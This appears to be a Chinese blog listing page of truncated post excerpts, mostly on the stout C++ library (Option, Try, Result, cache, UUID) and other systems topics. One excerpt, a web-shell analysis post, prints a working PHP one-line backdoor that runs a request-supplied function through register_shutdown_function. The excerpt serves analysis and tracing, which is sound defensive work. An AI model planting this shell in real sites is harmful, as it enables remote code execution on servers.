stout中大量使用了c++11的特性,而c++11中move和forward大概是最神奇的特性了. 左值和右值的区别 ; // a是左值,0是右值 int b = rand(); // b是左值,rand()是右值 直观理解:左值在等号左边,右值在等号右边 深入理解:左值有名称,可根据左值获取其内存地址,而右值没有名称,不能根据右值获取地址. 2. 引用叠加规则 左值引用A&和右值引用A&& 可相互叠加 A& + A& = A& A& + A&am…
WebShell代码分析溯源(十) 一.一句话变形马样本 <?php $e = $_REQUEST['e'];register_shutdown_function($e, $_REQUEST['REQUEST']);?> 二.代码分析 1.调整代码格式 2.分析代码 1.首先使用REQUEST方法接收url中e参数的值,然后使用register_shutdown_function函数, 其实这就是一个回调函数,在上面的代码运行结束后,再去执行. 注: register_shutdown_fun…
最近在使用mesos做高可用设计,在编译的过程中注意到mesos依赖stout,一个仅仅含有头文件的c++基础库.stout代码简洁,设计优雅,值得一读. stout从内容上可细分为以下几块: Primitives: Duration, Error, None, Nothing, Option, Owned, Result, Try, StopWatch,UUID. Collections: cache, hashmap, hashset, multihashmap,对常用数据结构进行了一些封装…
stout大量使用了c++11的一些新特性,使用这些特性有利于简化我们的代码,增加代码可读性.以下将对一些容器的新特性做一个总结.主要两方面: 容器的初始化,c++11中再也不用手动insert或者push_back来初始化了 容器的遍历,c++11中再也不用使用冗长的迭代器遍历了 容器的emplace,避免了一次赋值构造操作和一次析构操作 增加了unordered_map容器 增加了哈希函数std::hash 让我们一睹为快吧: std::hash #include <functional>…
hashmap是std::unordered_map的子类,前者对后者的接口做了进一步封装. hashmap的移动构造函数: hashmap(std::map<Key, Value>&& map) { // NOTE: We're using 'insert' here with a move iterator in order // to avoid copies because we know we have an r-value paramater. std::unord…
stout中实现了LRU cache.cache的成员如下: public: typedef std::list<Key> list; typedef std::tr1::unordered_map< Key, std::pair<Value, typename list::iterator> > map; 可以看到map的第二项除了value之外,又有一个指向key的迭代器,这种设计有利于提高cache LRU操作的效率:当查询某个key时,同时获取value和key…
Result类似于Option和Try类的组合,内部有三种状态 enum State { SOME, NONE, ERROR }; SOME表示Result对象有值 NONE表示Result对象值为空 ERROR表示异常 api如下: none, 返回状态为NONE的Result实例 some,返回状态为SOME的Result实例 error, 返回状态为ERROR的Result实例 还有isNone, isSome, isError等,在此不细讲. 如Result对象为SOME状态,可通过ge…
在进行性能测试时,经常需要计算某个函数执行的时长.stout中的Stopwatch类可实现纳秒精度的计时. Stopwatch内部使用timespec记录开始和技术时间.   timeval和timespec稍有不同,有两点: timeval精确到微秒,而timespec精确到纳秒 获取当前时间,timeval对应函数gettimeofday(&tv,NULL), timespec对应函数clock_gettime(CLOCK_REALTIME, &ts); api如下: start, 开…
UUID全称通用唯一识别码,被广泛应用于分布式系统中,让所有的元素具有唯一的标识. stout中UUID类继承自boost::uuids::uuid.api如下: random, 产生一个UUID对象. fromBytes,从字节数组生成UUID对象 fromString, 从字符串生成UUID对象 toBytes, 从UUID对象生成字节数组 toString, 从UUID对象生成字符 废话不多说,上示例代码: #include "stout/uuid.hpp" #include &…
Duration类用于表示时间长度,可精确到纳秒. 代码实现在duration.hpp中,测试代码:duration_tests.cpp 相关api如下: parse, 将字符串转化成Duration对象 create, 将秒数转化为Duration对象 ns, us, ms, secs, mins, hrs, days, weeks, 返回量词对应的数目 timeval,  返回Duration对象对应的timeval max, Duration所能表示的最长时间 min, Duration所…
在c++中,为了便于定位问题,进程异常退出时,需要获取返回码和错误信息.stout中将这种功能巧妙的封装成EXIT类. #define EXIT(status) __Exit(status).stream() struct __Exit { __Exit(int _status) : status(_status) {} NORETURN ~__Exit() { std::cerr << out.str() << std::endl; exit(status); } std::os…
stout的在异常捕获上遵循于谷歌类似的原则,不适用try...catch...,而是从函数返回值判断异常.Try类正是实现了这样的一个功能. 同Option一样,Try是一个模板类,每个类对象都有两种状态. enum State { SOME, ERROR }; State state; T* t; std::string message; SOME表示无异常,用户可获取指针t.ERROR表示有异常,用户可用过message获取异常信息.以下是Try类的示例: #include "stout/…
为了安全表示NULL, stout实现了Option类.Option对象有两种状态: enum State { SOME, NONE, }; 其中SOME表示非空,NONE表示为空.可通过isSome和isNone判断Option对象是否为空. Option类符合RAII的特性,构造函数和析构函数如下: Option(const Option<T>& that) { state = that.state; if (that.t != NULL) { t = new T(*that.t)…
stout库中为了避免使用NULL带来的风险,统一用None表示空. None类的实现方式如下: struct None {}; 奇怪的是, Nothing类实现方式与None一模一样..让人怀疑作者是不是写重了. struct Nothing {};…
u-boot分析(十) 上篇博文我们按照210的启动流程,分析到了初始化nand flash,由于接下来的关闭ABB比较简单所以跳过,所以我们今天按照u-boot的启动流程继续进行分析. 今天我们会用到的文档: 1.        2440芯片手册:http://download.csdn.net/detail/wrjvszq/8358949 2.        6410芯片手册:http://download.csdn.net/detail/wrjvszq/8358965 3.       …
5.5 surfaceflinger对vsync的处理buffer状态图画得不错:http://ju.outofmemory.cn/entry/146313 android设备可能连有多个显示器,APP也有多个surface对应各个layer 显示器可能断开或者连接,layer可能内容更新.属性变化等,因此我们的SurfaceFlinger应该能处理各种各样的情况 SurfaceFlinger.h中有个结构体State及两个该结构体变量mDrawingState(正在使用或者上次使用的状态),m…
本文的理论部分大量参考<word2vec中的数学原理详解>,按照我这种初学者方便理解的顺序重新编排.重新叙述.题图来自siegfang的博客.我提出的Java方案基于kojisekig,我们还在跟进准确率的问题. 背景 语言模型 在统计自然语言处理中,语言模型指的是计算一个句子的概率模型. 传统的语言模型中词的表示是原始的.面向字符串的.两个语义相似的词的字符串可能完全不同,比如“番茄”和“西红柿”.这给所有NLP任务都带来了挑战——字符串本身无法储存语义信息.该挑战突出表现在模型的平滑问题上…
前言 语音识别是特别酷的功能,ISD9160的核心卖点就是这个语音识别,使用了Cybron VR 算法. 很好奇这颗10块钱以内的IC是如何实现人家百来块钱的方案.且听如下分析. 本文作者twowinter,转载请注明:http://blog.csdn.net/iotisan/ 功能分析 语音识别例程中做了21条语音识别模型,只要识别到对应的语音,就从串口输出对应模型的命令ID. 具体21条命令如下: 全开模式 0 显示为1 外出模式 1 显示为2 房间开启 2 ... 房间关闭 3 单灯变色…
常用 Java 静态代码分析工具的分析与比较 简介: 本文首先介绍了静态代码分析的基 本概念及主要技术,随后分别介绍了现有 4 种主流 Java 静态代码分析工具 (Checkstyle,FindBugs,PMD,Jtest),最后从功能.特性等方面对它们进行分析和比较,希望能够帮助 Java 软件开发人员了解静态代码分析工具,并选择合适的工具应用到软件开发中. 引言 在 Java 软件开发过程中,开发团队往往要花费大量的时间和精力发现并修改代码缺陷.Java 静态代码分析(static cod…
JQuery html用法(功能类似innerHTML) 开发中需要使用Ajax技术来更新页面局部区域, 使用的方法是ajax获取html代码段(字符串),然后将这个html代码段作为参数,传入目标DOM(JQuery对象)的JQuery html接口,此语句执行后, 会将html代码段解释执行, 显示出html代码段描述的页面控件. 例如: <html> <head> <script type="text/javascript" src="./…
原理 http://www.cnblogs.com/skynet/p/4173450.html 快速通用网关接口(Fast Common Gateway Interface/FastCGI)是通用网关接口(CGI)的改进,描述了客户端和服务器程序之间传输数据的一种标准.FastCGI致力于减少Web服务器与CGI程式之间互动的开销,从而使服务器可以同时处理更多的Web请求.与为每个请求创建一个新的进程不同,FastCGI使用持续的进程来处理一连串的请求.这些进程由FastCGI进程管理器管理,而…
一.前言 对于一个嵌入式软件工程师,我们的软件模块经常和硬件打交道,pin control subsystem也不例外,被它驱动的硬件叫做pin controller(一般ARM soc的datasheet会把pin controller的内容放入GPIO controller的章节中),主要功能包括: (1)pin multiplexing.基于ARM core的嵌入式处理器一般会提供丰富的功能,例如camera interface.LCD interface.USB.I2C.SPI等等.虽然…
Problem Description 给定K个整数的序列{ N1, N2, ..., NK },其任意连续子序列可表示为{ Ni, Ni+1, ..., Nj },其中 1 <= i <= j <= K.最大连续子序列是所有连续子序列中元素和最大的一个, 例如给定序列{ -2, 11, -4, 13, -5, -2 },其最大连续子序列为{ 11, -4, 13 },最大和 为20. 在今年的数据结构考卷中,要求编写程序得到最大和,现在增加一个要求,即还需要输出该 子序列的第一个和最后…
Cppcheck是一个C/C++代码分析工具,只检测那些编译器通常无法检测到的bug类型.   官方上建议让编译器提供尽量多的警告提示:1.使用Visual C++的话,应使用警告等级4 2.使用GCC的话,参看Warning options - using GCC   官方地址:http://cppcheck.sourceforge.net/ 当前版本:1.54 for windows   安装界面如下: 安装完后,双击cppcheckgui.exe启动其GUI程序: 工具栏第一个按钮 可以添…
代码分析在大多数项目中通常是作为最后一个步骤(如果做了的话)完成的.其通常难以配置及与现有代码整合. 本文旨在勾勒出使用 Gradle 整合 PMD 与 FindBugs 的步骤,并将其与一个现有的 Sonar 构建工具进行整合. PMD.CheckStyle 和 FindBugs 首先要做的就是在我们的 build.gradle 文件中添加插件: ? 1 2 3 apply plugin: 'checkstyle' apply plugin: 'pmd' apply plugin: 'find…
Android4.0图库Gallery2代码分析(二) 数据管理和数据加载 2012-09-07 11:19 8152人阅读 评论(12) 收藏 举报 代码分析android相册优化工作 Android4.0图库Gallery2代码分析(二) 数据管理和数据加载 一 图库数据管理 Gallery2的数据管理 DataManager(职责:管理数据源)- MediaSource(职责:管理数据集) - MediaSet(职责:管理数据项).DataManager中初始化所有的数据源(LocalSo…
手机自动化测试:Appium源码分析之跟踪代码分析七   poptest是国内唯一一家培养测试开发工程师的培训机构,以学员能胜任自动化测试,性能测试,测试工具开发等工作为目标.poptest推出手机自动化测试的课程,讲解appuim的实际应用,培训全程用商业项目, 大家可以加qq群进行交流:195983133. 该模块中定义了36种不同的状态,以及状态的解释信息,还有一个模块方法,这个模块相对简单 36种状态 1个json字符串定义了36个元素,每一元素代表了一个状态,每一个状态有一个名称,然后…
转载自http://www.oschina.net/question/129540_23043 简介: 本文首先介绍了静态代码分析的基本概念及主要技术,随后分别介绍了现有 4 种主流 Java 静态代码分析工具 (Checkstyle,FindBugs,PMD,Jtest),最后从功能.特性等方面对它们进行分析和比较,希望能够帮助 Java 软件开发人员了解静态代码分析工具,并选择合适的工具应用到软件开发中. 引言 在 Java 软件开发过程中,开发团队往往要花费大量的时间和精力发现并修改代码缺…
从上一篇对Hive metastore表结构的简要分析中,我再根据数据设计的实体对象,再进行整个代码结构的总结.那么我们先打开metadata的目录,其目录结构: 可以看到,整个hivemeta的目录包含metastore(客户端与服务端调用逻辑).events(事件目录包含table生命周期中的检查.权限认证等listener实现).hooks(这里的hooks仅包含了jdo connection的相关接口).parser(对于表达树的解析).spec(partition的相关代理类).too…
专题文档汇总目录 Notes:ARM平台Clock/Timer架构:System counter.Timer以及两者之间关系:Per cpu timer通过CP15访问,System counter通过memory mapped IO访问:将System counter和Per cpu timer分别作为clocksource和clock event device注册到Linux时间子系统. 原文地址:Linux时间子系统之(十七):ARM generic timer驱动代码分析 一.前言 关注…